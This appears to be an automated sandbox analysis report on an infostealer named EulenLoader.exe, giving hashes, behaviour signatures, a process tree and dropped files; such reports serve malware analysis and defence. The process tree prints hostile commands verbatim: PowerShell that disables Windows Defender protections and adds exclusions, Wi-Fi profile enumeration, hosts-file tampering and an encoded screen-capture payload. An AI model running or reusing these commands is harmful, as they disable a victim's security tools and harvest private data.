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Analysis

  • max time kernel
    600s
  • max time network
    449s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/06/2024, 19:22

General

  • Target

    EulenLoader.exe

  • Size

    17.7MB

  • MD5

    1611d81328b8108b6c9a598284c7fde4

  • SHA1

    c6127a706211414ac129cbabab04a4778cd551b9

  • SHA256

    f2c3754b6b7a050d9da9b319a724728116bc547d72c6c4be3092fb8b351f50d7

  • SHA512

    39f629965a4c13463b06c44729f661dcddf48c9eceaddd920d5f75b545594eca7977203171b869462e6a97cbb57156c0cd177f361a776a5055775f0ecb0d5f8a

  • SSDEEP

    196608:JhxxXll6qNbuDyHWbTNgSH1jkpICTvykr:JhxxzzbEy2/pkp5

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\EulenLoader.exe
    "C:\Users\Admin\AppData\Local\Temp\EulenLoader.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Maps connected drives based on registry
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2736
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\EulenLoader.exe
      2⤵
      • Views/modifies file attributes
      PID:1112
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:2816
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2004
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      • Suspicious use of AdjustPrivilegeToken
      PID:1904
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\EulenLoader.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:5000
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
        PID:4248
      • C:\Windows\System32\Wbem\wmic.exe
        wmic cpu get Name
        2⤵
          PID:844
        • C:\Windows\System32\Wbem\wmic.exe
          wmic path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:2028
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:3288
        • C:\Windows\System32\Wbem\wmic.exe
          wmic csproduct get UUID
          2⤵
            PID:1368
          • C:\Windows\system32\netsh.exe
            netsh wlan show profiles
            2⤵
              PID:1016
            • C:\Windows\system32\attrib.exe
              attrib -r C:\Windows\System32\drivers\etc\hosts
              2⤵
              • Drops file in Drivers directory
              • Views/modifies file attributes
              PID:2684
            • C:\Windows\system32\attrib.exe
              attrib +r C:\Windows\System32\drivers\etc\hosts
              2⤵
              • Drops file in Drivers directory
              • Views/modifies file attributes
              PID:1540
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious use of WriteProcessMemory
              PID:3864
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mj2grywx\mj2grywx.cmdline"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2240
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4E7E.tmp" "c:\Users\Admin\AppData\Local\Temp\mj2grywx\CSC4A340D283C8145938A158E8E959BCB6A.TMP"
                  4⤵
                    PID:3692

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

              Filesize

              2KB

              MD5

              d85ba6ff808d9e5444a4b369f5bc2730

              SHA1

              31aa9d96590fff6981b315e0b391b575e4c0804a

              SHA256

              84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

              SHA512

              8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              944B

              MD5

              6d3e9c29fe44e90aae6ed30ccf799ca8

              SHA1

              c7974ef72264bbdf13a2793ccf1aed11bc565dce

              SHA256

              2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

              SHA512

              60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              944B

              MD5

              22310ad6749d8cc38284aa616efcd100

              SHA1

              440ef4a0a53bfa7c83fe84326a1dff4326dcb515

              SHA256

              55b1d8021c4eb4c3c0d75e3ed7a4eb30cd0123e3d69f32eeb596fe4ffec05abf

              SHA512

              2ef08e2ee15bb86695fe0c10533014ffed76ececc6e579d299d3365fafb7627f53e32e600bb6d872b9f58aca94f8cb7e1e94cdfd14777527f7f0aa019d9c6def

            • C:\Users\Admin\AppData\Local\Temp\RES4E7E.tmp

              Filesize

              1KB

              MD5

              fd811f7c51f7ba03003b22b79c74dd03

              SHA1

              309bfc81c680411126ecfab748ccfffc3bde224d

              SHA256

              8db5121459fbb0e76929a0cb3708f428443fc873b35852cbd52d256c9f942b53

              SHA512

              366a8c3ccb05ae83ab4059e7f05c96556bd81b3d288a7012f199760fe2eca7a2108dbb19cc87e17a18f6defe8d31e3ddeaecc8377a760a8bae60439d56b9411e

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_thrknbv3.hzx.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • C:\Users\Admin\AppData\Local\Temp\fw1OODo4iX\Display (1).png

              Filesize

              422KB

              MD5

              0a9c126bf3b82cf10fd5e93d3fc7fd7e

              SHA1

              c8211d6b376d165948fc6ec5aab92538bca68309

              SHA256

              1a1f3840706c441a6ef8c1341faa24ed6160bc7066b517c1d077ee3f2766693d

              SHA512

              ef6cde02635b3e4e4a7dfa4bc6e1538acdea06b16901b9fda109c6d2d7ccff2cfe2be956100a84fb52c4cb8729245173a6921f7acd237face1d4c0e7411618ab

            • C:\Users\Admin\AppData\Local\Temp\mj2grywx\mj2grywx.dll

              Filesize

              4KB

              MD5

              5b4bbb732878b17e6d47c638e5aedc2f

              SHA1

              5f2a93314e6ac888b6a9125cb4543fc0e9105fab

              SHA256

              9f8a499242372791e3aa055f9f45f1d4b63c1633114b852a13ae3d9d89a842e7

              SHA512

              fc2706ff9f7860d60b1aecffbdfb52d2e97b1273c150a4fc77a28558aac19a0164e012f163cb466d6bb49f5a58bdb2f8e29e5044a6882069f6771f56fdafda42

            • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

              Filesize

              17.7MB

              MD5

              1611d81328b8108b6c9a598284c7fde4

              SHA1

              c6127a706211414ac129cbabab04a4778cd551b9

              SHA256

              f2c3754b6b7a050d9da9b319a724728116bc547d72c6c4be3092fb8b351f50d7

              SHA512

              39f629965a4c13463b06c44729f661dcddf48c9eceaddd920d5f75b545594eca7977203171b869462e6a97cbb57156c0cd177f361a776a5055775f0ecb0d5f8a

            • C:\Windows\System32\drivers\etc\hosts

              Filesize

              2KB

              MD5

              6e2386469072b80f18d5722d07afdc0b

              SHA1

              032d13e364833d7276fcab8a5b2759e79182880f

              SHA256

              ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

              SHA512

              e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

            • \??\c:\Users\Admin\AppData\Local\Temp\mj2grywx\CSC4A340D283C8145938A158E8E959BCB6A.TMP

              Filesize

              652B

              MD5

              d6f988e400f7dac0cd512ccdc4afb3d4

              SHA1

              d02e6c05831af6ee6f09a43985a3a01f6929d41c

              SHA256

              d6385649781dc595d70c2155ee754c62bae1b1fc2eb677e15e55ca733cfa9ec9

              SHA512

              0efeb8cb83038594998daafaf858fc5d78182036a6c8bd014391afc1864cd83533cc0d02a6248794c8a0a2b1f786eeca7e7b7b60c875e74a498b5736eda88617

            • \??\c:\Users\Admin\AppData\Local\Temp\mj2grywx\mj2grywx.0.cs

              Filesize

              1004B

              MD5

              c76055a0388b713a1eabe16130684dc3

              SHA1

              ee11e84cf41d8a43340f7102e17660072906c402

              SHA256

              8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

              SHA512

              22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

            • \??\c:\Users\Admin\AppData\Local\Temp\mj2grywx\mj2grywx.cmdline

              Filesize

              607B

              MD5

              248b3eceff4340b52d75fb6f76d0f2a9

              SHA1

              c6fd46e394e9219b7e65c2fcc7a6d2649894486d

              SHA256

              f7b14be829958396c2583efa7e8c06872e84bc5cf6f5b3fe39e2624201c2cde8

              SHA512

              12c9b4664f97c3239c7e93f57af603ef5ad8c49e104f376b30ccecb51930c6b900bba964b82e6fbbfca9943a1ea3953bfb268513396d774c83d17ec51eaa20a8

            • memory/3864-60-0x00000218C19D0000-0x00000218C19D8000-memory.dmp

              Filesize

              32KB

            • memory/5000-14-0x000002E464170000-0x000002E464192000-memory.dmp

              Filesize

              136KB